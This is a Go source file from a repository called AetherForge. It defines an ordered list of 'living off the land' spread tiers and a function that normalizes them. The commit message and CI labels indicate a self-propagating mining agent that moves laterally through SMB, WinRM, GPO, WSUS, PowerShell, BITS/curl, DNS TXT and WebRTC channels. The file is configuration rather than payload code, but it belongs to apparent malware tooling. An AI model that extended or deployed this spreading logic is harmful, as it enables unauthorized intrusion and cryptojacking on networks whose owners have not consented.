Files
AetherForge/agent/deploy/lotl_tiers.go
AetherForge 0be2de81a5
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
2026-06-07 01:08:05 -07:00

49 lines
1.1 KiB
Go

package deploy
import "strings"
// DefaultLotlOnionTiers is the ordered LOTL spread contingency chain baked into
// the LOTL Onion forge preset and server config unless overridden at runtime.
var DefaultLotlOnionTiers = []string{
"vuln_recon",
"docker",
"wsl",
"powershell",
"dotnet",
"bits_curl",
"do_peer",
"wsus_cache_peer",
"dns_txt",
"webrtc_mesh",
"smb",
"winrm",
"linux",
"gpo",
}
// NormalizeLotlTiers filters unknown ids and falls back to defaults when empty.
func NormalizeLotlTiers(raw []string) []string {
allowed := map[string]struct{}{
"vuln_recon": {},
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
"bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {},
"smb": {}, "winrm": {}, "linux": {}, "gpo": {},
}
out := make([]string, 0, len(raw))
for _, t := range raw {
t = strings.ToLower(strings.TrimSpace(t))
if t == "bits/curl" {
t = "bits_curl"
}
if _, ok := allowed[t]; ok {
out = append(out, t)
}
}
if len(out) == 0 {
dup := make([]string, len(DefaultLotlOnionTiers))
copy(dup, DefaultLotlOnionTiers)
return dup
}
return out
}